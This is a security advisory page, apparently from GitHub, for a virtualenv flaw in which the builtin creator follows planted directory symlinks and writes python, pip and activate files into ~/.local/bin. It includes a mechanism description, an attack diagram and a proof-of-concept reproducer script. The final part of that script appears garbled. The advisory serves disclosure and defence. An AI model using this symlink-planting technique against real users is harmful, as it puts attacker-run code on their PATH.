GitHub Advisoryadvisory · PyPI
GHSA-cw65-gx24-rc82 virtualenv: Builtin creation follows linked environment directories
MEDIUM
Official page ↗
- Aliases
- CVE-2026-113716
- Ecosystem
- PyPI
- Packages
- virtualenv
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L
- Weaknesses
- CWE-59
- Reviewed
- 2026-10-21
Affected packages
• PyPI virtualenv: < 21.14.9 → fixed in 21.14.9
Description
Summary
The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those
directories. This permits writes outside the requested destination.
Anthropic's OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026.
Affected area
Directory preparation before environment files are created.
Attacker-controlled input
Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user
must have access to the linked destination. This does not require write access to the target itself under the other
account.
Affected code
The relevant 21.14.8 source is in
builtin creator,
ensure_dir().
Mechanism
The builtin creator calls `ensure_dir()` for `bin`, `lib`, and package directories. `ensure_dir()` accepts an existing
symlink to a directory because `exists()` follows it. Interpreter creation, seed installation, and activation-script
generation then write through that parent link. A final-file check cannot prevent a write through a linked parent.
`--clear` removes the planted tree first; ordinary creation over a prepared destination reaches it.
Reproduction and evidence
The scanner's project tree contains `venv/bin -> ../../.local/bin` and a `.pth` file in the environment's package tree.
With the user's initially empty `~/.local/bin` first on `PATH`, `virtualenv venv` exited successfully and wrote
`python*`, `pip*`, and `activate*` into `~/.local/bin`. The marker was absent immediately after creation; a later
`pip --version` on the user's `PATH` loaded the seeded environment and the planted `.pth` code wrote the marker. A
second case began with the `bin` link resolving inside the environment; replacement of a planted package link during
seeding changed where it resolved, and writes again reached `~/.local/bin`.
The attacker must prepare entries in an existing destination. The `.pth` content is already attacker-controlled and
would run if the user used that environment directly; the added effect is creation-time writing or replacement outside
the requested tree and an executable on the user's `PATH` pointing at it. The scanner traces this default builtin path
to 20.0.0b1. PR #3429 replaces linked directory components before
creation. Concurrent parent replacement remains a separate case.
Attack sequence
```mermaid
sequenceDiagram
participant A as Prepared destination
participant V as Builtin creator
participant L as venv/bin symlink
participant H as ~/.local/bin
participant U as User
A->>L: point to ../../.local/bin
V->>L: ensure_dir accepts existing directory link
V->>H: write python, pip and activate files through link
V-->>U: creation reports success
U->>H: run pip found on PATH
H->>A: interpreter loads planted .pth
A-->>U: marker created
```
Reproducer files
The following files are from the scanner report for `ANT-2026-MUFJEG11`. They were tested against commit `a857a7823c73`
in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs
need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
`repro`
```text
!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path
WORK = Path("/tmp/planted-bin-link")
shutil.rmtree(WORK, ignore_errors=True)
def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):
local_bin = home / ".local/bin"
user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"}
local_bin_before = set(os.listdir(local_bin))
payload_marker = home / "PWNED"
# the attacker's checkout arrives at ~/project
subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True)
venv = home / "project/venv"
print(f"CONTROL venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")
# default options; the flag only keeps the run off the network
subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True)
written = sorted(set(os.listdir(local_bin)) - local_bin_before)
payload_ran_at_creation = payload_marker.exists()
print(f"OBSERVED venv/bin after the run resolves to {os.path.realpath(venv / 'bin')}")
print(f"OBSERVED virtualenv wrote to {local_bin}: {written}")
print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}")
# later, in another folder, the user runs pip
pip = subprocess.run(["pip", "--version"], cwd=home, env=user_env, capture_output=True, text=True)
print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}")
print(f"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}")
return written, payload_marker.exists() and not payload_ran_at_creation
print("--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin")
home = WORK / "bin-link"
(home / ".local/bin").mkdir(parents=True)
written_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link.py")
print("--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded")
home = WORK / "bin-link-staying-inside"
(home / ".local/bin").mkdir(parents=True)
python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there
(home / ".local/bin/python").symlink_to("/usr/local/bin/python3")
written_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link_staying_inside.py")
check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth
plain_link_followed = {"pip", "activate"} a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below
(venv / "1/2/3/4/5/6/7").mkdir(parents=True)
(site_packages / "pip").symlink_to("../../../1/2/3/4/5/6/7")
six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~
(…
Related
Alias · CVE (1)
- CVE-2026-113716 virtualenv is a tool for creating isolated virtual python environments. vulnerability
Weakness · CWE (1)
- CWE-59 Improper Link Resolution Before File Access weakness
References
- https://github.com/pypa/virtualenv/security/advisories/GHSA-cw65-gx24-rc82 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-113716 advisory
- https://github.com/pypa/virtualenv/pull/3429 web
- https://github.com/pypa/virtualenv/commit/554d9f9d4f7758f5cf53f993031e29787f1f74c5 web
- https://github.com/pypa/virtualenv package
- https://github.com/pypa/virtualenv/releases/tag/21.14.9 web